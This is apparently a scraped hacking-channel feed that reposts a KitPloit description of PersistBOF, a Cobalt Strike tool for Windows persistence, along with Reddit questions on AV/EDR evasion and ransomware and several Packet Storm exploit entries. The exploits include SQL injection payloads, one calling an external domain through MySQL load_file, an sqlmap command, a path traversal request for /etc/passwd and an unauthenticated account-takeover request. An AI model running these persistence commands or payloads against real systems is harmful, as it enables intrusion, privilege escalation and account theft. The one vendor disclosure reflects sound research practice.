KitPloit - PenTest Tools!
PersistBOF - Tool To Help Automate Common Persistence Mechanisms

https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggeS9H-8KfNEiS7wmPPWLTznqdP3xgqDqCQV8y_JrqW3xRX5AakIYR1avV_l8dcAdDFX4JSqdDIAVkrDp-FfgqEgduT7qhn1zpXJzxeZ3r2bqujWZ1OptNNnbXx7H9Dwtfy-J1d4t-tsYfo9KtEZ0FkyZaPGfcxeTct3WGCnYLf3p7lmv-MZnBgJn9/w640-h176/PersistBOF.png A tool to help automate common persistence mechanisms. Currently supports Print Monitor (SYSTEM), Time Provider (Network Service), Start folder shortcut hijacking (User), and Junction Folder (User) UsageClone, run make, add .cna to Cobalt Strike client.

run: help persist-ice in CS console

Syntax:

* persist-ice [PrintMon, TimeProv, Shortcut, Junction] [persist or clean] [key/folder name] [dll / lnk exe name]; Technique OverviewAll of these techniques rely on a Dll file to be seperately placed on disk. It is intentially not part of the BOF. Print MonitorThe Dll MUST be on disk and in a location in PATH (Dll search order) BEFORE you run the BOF. It will fail otherwise. The Dll will immediately be loaded by spoolsv.exe as SYSTEM. This can be used to elevate from admin to SYSTEM as well as for persistence. Will execute on system startup. Must be elevated to run.

* Demo Print Monitor Dll in project

Example:

1. upload NotMalware.dll to C:\Windows\NotMalware.dll
2. persist-ice PrintMon persist TotesLegitMonitor NotMalware.dll
3. Immediately executes as SYSTEM
4. Will execute on startup until removed
5. persist-ice PrintMon clean TotesLegitMonitor C:\Windows\NotMalware.dll > Will delete the registery keys and unload the Dll, then attempt to delete the dll if provided the correct path. Should succeed. Time ProviderLoaded by svchost.exe as NETWORK SERVICE (get your potatoes ready!) on startup after running the BOF. Must be elevated to run.

* Demo Time Provider Dll in project

Example:

* persist-ice TimeProv persist TotesLegitTimeProvider C:\anywhere\NotMalware.dll
* persist-ice TimeProv cleanup TotesLegitTimeProvider C:\anywhere\NotMalware.dll > Will delete the registry keys and attempt to delete the dll if provided the correct path. Will probably fail because the dll is not unloaded by the process. Junction FolderSame technique as demonstrated in Vault 7 leaks. Executed on user login. Non-elevated. Dll will be loaded into explorer.exe

Example:

* persist-ice Juction persist TotesLegitFolder C:\user-writable-folder\NotMalware.dll Save CLSID
* persist-ice Juction clean TotesLegitFolder C:\user-writable-folder\NotMalware.dll 6be5e092-90cc-452d-be83-208029e259e0 > Will delete the registry keys, junction folder, and attempt to delete the dll. Start Folder HijackCreate a new, user writeable folder, copy a hijackable windows binary to the folder, then create a shortcut in the startup folder. Executed on user login. Non-elevated.

Example:

* persist-ice Shortcut persist C:\TotesLegitFolder C:\Windows\System32\Dism.exe > upload your Dll as a proxy dll to dismcore.dll into C:\TotesLegitFolder
* persist-ice Shortcut persist C:\TotesLegitFolder C:\Windows\System32\Dism.exe > Will attempt delete all files in new folder then delete the folder itself. If the Dll is still loaded in the process then this will fail. Referenceshttps://stmxcsr.com/persistence/print-monitor.html https://stmxcsr.com/persistence/time-provider.html https://pentestlab.blog/2019/10/28/persistence-port-monitors/ https://blog.f-secure.com/hunting-for-junction-folder-persistence/ https://attack.mitre.org/techniques/T1547/010/ https://attack.mitre.org/techniques/T1547/003/ https://attack.mitre.org/techniques/T1547/009/ Download PersistBOF

___________________________
@hacking_Attack
@Hacking_Video

Top 5 Hacking Book , Must Read !!
https://infosecwriteups.com/top-5-hacking-book-must-read-72b37d7f885a?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

A Hacking and cybersecurity books guide which tells you about top 10 Hacking books .Continue reading on InfoSec Write-ups » (https://infosecwriteups.com/top-5-hacking-book-must-read-72b37d7f885a?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Follina — A new 0-day vulnerability in Microsoft Office

https://external-preview.redd.it/Bhsna7Pu1xf9Wcgg_hcdBclstx4w230VYQDmbM9EXIY.jpg?width=320&crop=smart&auto=webp&s=9999850f774daa309a62885c71ca6dcb8ae21b63 submitted by /u/CyberMasterV
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
mimikatz.exe to evade av & edr detection

I've watched IppSec's video on how to evade AV detection using mimikatz.exe as a sample and wondering if you guys use similar approach?
https://www.youtube.com/watch?v=9pwMCHlNma4
Visual Studio is huge and heavy, wish there's alternative to compile and build exe without it. I wish there's a way to automate this process. Not sure if there's any tools build for this purpose.

From your experience, what is the best way to evade av/edr detection?

submitted by /u/w0lfcat
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Ransomware

Anybody who knows about ransomeware message me or if anybody knows about any good forums or articles about them please let me know

submitted by /u/ry1474
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
beEF setup

Hello hackers, Does anyone know how to setup beEF on the latest version of Ubuntu? Been struggling with finding tutorials on YouTube and turned here.

submitted by /u/ChickenParm277
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Fast Food Ordering System 1.0 SQL Injection

https://3.bp.blogspot.com/-S_42fggy9lU/WWlvmFk_l6I/AAAAAAAAIRE/4fLLQglySPcuo1eoPxnOCfdodS4kW3PlwCLcBGAs/s1600/hack_img3.png
Fast Food Ordering System version 1.0 suffers from a remote SQL injection vulnerability.

SHA-256 | 8518a971cab0dde43baf3b5a9ad23a3139fcb7aaaf3e739e7c20225885b170fd

Download
## Title: Fast Food Ordering System 1.0 SQLi
## Author: nu11secur1ty
## Date: 05.30.2022
## Vendor: https://www.sourcecodester.com/users/tips23
## Software: https://www.sourcecodester.com/php/15366/fast-food-ordering-system-phpoop-free-source-code.html
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2022/Fast-Food-Ordering
## Description:
The date parameter appears to be vulnerable to SQL injection attacks.
The payload '+(select
load_file('\\\\j7r9s1wbepgqucip3y4eqrwzjqpkdb3zu2it5kt9.kakmoesitolkovatupiuporit.we\\wrk'))+'
was submitted in the date parameter.
This payload injects a SQL sub-query that calls MySQL's load_file
function with a UNC file path that references a URL on an external
domain.
The attacker can take administrator accounts control and also of all
accounts on this system, also the malicious user can download all
information about this system.

Status: CRITICAL

[+] Payloads:

```mysql
---
Parameter: date (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
Payload: page=reports&date=2022-05-30'+(select
load_file('\\\\j7r9s1wbepgqucip3y4eqrwzjqpkdb3zu2it5kt9.kakmoesitolkovatupiuporit.we\\wrk'))+''
OR NOT 9209=9209 AND 'OBPK'='OBPK

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
Payload: page=reports&date=2022-05-30'+(select
load_file('\\\\j7r9s1wbepgqucip3y4eqrwzjqpkdb3zu2it5kt9.kakmoesitolkovatupiuporit.we\\wrk'))+''
AND (SELECT 1113 FROM(SELECT COUNT(*),CONCAT(0x7178716271,(SELECT
(ELT(1113=1113,1))),0x71706a7671,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'BQRx'='BQRx

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: page=reports&date=2022-05-30'+(select
load_file('\\\\j7r9s1wbepgqucip3y4eqrwzjqpkdb3zu2it5kt9.kakmoesitolkovatupiuporit.we\\wrk'))+''
AND (SELECT 2021 FROM (SELECT(SLEEP(5)))KAaB) AND 'ECXY'='ECXY

Type: UNION query
Title: MySQL UNION query (NULL) - 6 columns
Payload: page=reports&date=2022-05-30'+(select
load_file('\\\\j7r9s1wbepgqucip3y4eqrwzjqpkdb3zu2it5kt9.kakmoesitolkovatupiuporit.we\\wrk'))+''
UNION ALL SELECT
NULL,NULL,NULL,CONCAT(0x7178716271,0x785874484e685679414c78427953454c4b62524778654f596e645841574978764f414a7a6d616372,0x71706a7671),NULL,NULL,NULL,NULL,NULL#
---
```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2022/Fast-Food-Ordering)

## Proof and Exploit:
[href](https://streamable.com/kkyrgk)


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WordPress User Meta Lite / Pro 2.4.3 Path Traversal

https://1.bp.blogspot.com/-ju6c7E-5MWk/WWlvdc1QT-I/AAAAAAAAIPk/ByEXv5vo16UsrlpTJMmF2Op4hfJEgrRpQCLcBGAs/s1600/h79.png
WordPress User Meta Lite and Pro plugin versions 2.4.3 and below suffer from a path traversal vulnerability.

SHA-256 | 9f5dfc7d061a12ed0156906753e063fd8b488898a8f4b2709039a9ee6f78125f

Download
RCE Security Advisory
https://www.rcesecurity.com
1. ADVISORY INFORMATION
=======================
Product: User Meta
Vendor URL: https://wordpress.org/plugins/user-meta
Type: Relative Path Traversal [CWE-23]
Date found: 2022-02-28
Date published: 2022-05-24
CVSSv3 Score: 4.3 (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N)
CVE: CVE-2022-0779
2. CREDITS
==========
This vulnerability was discovered and researched by Julien Ahrens from
RCE Security.
3. VERSIONS AFFECTED
====================
User Meta Lite 2.4.3 and below
User Meta Pro 2.4.3 and below
4. INTRODUCTION
===============
An easy-to-use user profile and management plugin for WordPress that allows
user login, reset-password, profile update and user registration with extra
fields, all on front-end and many more. User Meta Pro is a versatile user
profile builder and user management plugin for WordPress that has the most
features on the market. User Meta aims to be your only go to plugin for
user management.

(from the vendor's homepage)
5. VULNERABILITY DETAILS
========================
The WordPress ajax action "um_show_uploaded_file" is vulnerable to an
authenticated path traversal when user-supplied input to the HTTP POST
parameter "filepath" is processed by the web application. Since the application
does not properly validate and sanitize this parameter, it is possible to
enumerate local server files using a blind approach. This is because the
application doesn't return the contents of the referenced file but instead
returns different form elements based on whether a file exists or not.

The following Proof-of-Concept triggers this vulnerability:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Content-Length: 147
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: [your-wordpress-auth-cookies]
Connection: close

field_name=[your-field-name]&filepath=/../../../../../etc/passwd&field_id=[your-field-id]&form_key=[your-form-key]&action=um_show_uploaded_file&pf_nonce=[your-auth-nonce]&is_ajax=true
6. RISK
=======
The vulnerability can be used by an authenticated attacker to enumerate
local server files based on a blind approach.
7. SOLUTION
===========
Update to User Meta/User Meta Pro 2.4.4
8. REPORT TIMELINE
==================
2022-02-28: Discovery of the vulnerability
2022-02-28: WPScan (CNA) assigns CVE-2022-0779
2022-03-03: Contacted the vendor via their contact form
2022-03-06: Vendor response, acknowledgement of the issue
2022-03-18: Version 2.4.2 is released
2022-03-22: Vulnerability is still exploitable since fix was applied only client-side. Contacted vendor again.
2022-04-13: No response, contacted vendor again
2022-04-18: Vendor added a new fix to version 2.4.3. Asked to retest.
2022-04-19: Vulnerability is still exploitable due to a logic bug in the fix. Contacted vendor again.
2022-04-29: Vendor asks whether another fix in version 2.4.4 is fine
2022-05-16: Fix seems to work
2022-05-24: Public disclosure
9. REFERENCES
=============
https://github.com/MrTuxracer/advisories


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Ingredient Stock Management System 1.0 SQL Injection

https://1.bp.blogspot.com/-PwD2Dirg2NY/WWlu3CzGC6I/AAAAAAAAIIs/x87GenQxU4E4sY7pWpFvaHW3XEOYBksJQCLcBGAs/s1600/h10.png
Ingredient Stock Management System version 1.0 suffers from a remote blind SQL injection vulnerability.

SHA-256 | 812877405ea0e76d72d7e4772f6c9f533edc2df0d65201ce055c9b60f7795d4d

Download
# Exploit Title: Ingredient Stock Management System v1.0 - 'id' Blind SQL Injection
# Date: 28/05/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/15364/ingredients-stock-management-system-phpoop-free-source-code.html
# Version: 1.0
# Tested on: XAMPP, Linux
Description :
----------------------

Ingredient Stock Management System 1.0 allows SQL Injection via parameter 'id' in
/isms/admin/stocks/view_stock.php. Exploiting this issue could allow an attacker to compromise
the application, access or modify data, or exploit latent vulnerabilities
in the underlying database
# Vulnerable Code :

line 74 in file "/isms/admin/stocks/view_stock.php"

$stockins = $conn->query("SELECT * FROM `stockin_list` where item_id = '{$id}' order by date(`date`) asc");

# Sqlmap command:

sqlmap -u 'http://localhost/isms/admin/?page=stocks/view_stock&id=1' -p id --level=5 --risk=3 --dbs --random-agent --eta

# Output:

Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: page=stocks/view_stock&id=1' AND 1902=1902 AND 'yluX'='yluX

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: page=stocks/view_stock&id=1' AND (SELECT 6709 FROM (SELECT(SLEEP(5)))gZCj) AND 'vMqP'='vMqP


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Ingredient Stock Management System 1.0 Account Takeover

https://4.bp.blogspot.com/-f2P6cxL3l-g/WWlvB5J0BVI/AAAAAAAAIKc/5_BozSRH9sAdcCSQmN2ufmoLAOqLp1P9QCLcBGAs/s1600/h125.png
Ingredient Stock Management System version 1.0 suffers from an account takeover vulnerability.

SHA-256 | ec7348c7ea40981571b3542540ba691bc12790f80da7ef325b3c3e3a10db0a85

Download
# Exploit Title: Ingredient Stock Management System v1.0 - Account Takeover (Unauthenticated)
# Date: 28/05/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/15364/ingredients-stock-management-system-phpoop-free-source-code.html
# Version: 1.0
# Tested on: XAMPP, Linux
Description :

----------------------

Ingredient Stock Management System v1.0 is vulnerable to unauthenticated account takeover.
An attacker can takeover any registered 'Staff' user account by just sending below POST request
By changing the the "id", "firstname", "lastname" , "username" , "password" ,"type" parameters
# HTTPS Request :

POST /isms/classes/Users.php?f=save HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------89160456138077069512415726555
Content-Length: 1023
Origin: http://localhost
Connection: close
Referer: http://localhost/isms/admin/?page=user/manage_user
Cookie: PHPSESSID=mia3uiom2s9bdtif290t6v1el2

-----------------------------89160456138077069512415726555
Content-Disposition: form-data; name="id"

1
-----------------------------89160456138077069512415726555
Content-Disposition: form-data; name="firstname"

test
-----------------------------89160456138077069512415726555
Content-Disposition: form-data; name="middlename"
-----------------------------89160456138077069512415726555
Content-Disposition: form-data; name="lastname"

hi
-----------------------------89160456138077069512415726555
Content-Disposition: form-data; name="username"

test
-----------------------------89160456138077069512415726555
Content-Disposition: form-data; name="password"

test
-----------------------------89160456138077069512415726555
Content-Disposition: form-data; name="type"

1
-----------------------------89160456138077069512415726555
Content-Disposition: form-data; name="img"; filename=""
Content-Type: application/octet-stream
-----------------------------89160456138077069512415726555--
====
URL Login : http://localhost/isms/admin/login.php

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Schneider Electric C-Bus Automation Controller (5500SHAC) 1.10 Remote Root

___________________________
@hacking_Attack
@Hacking_Video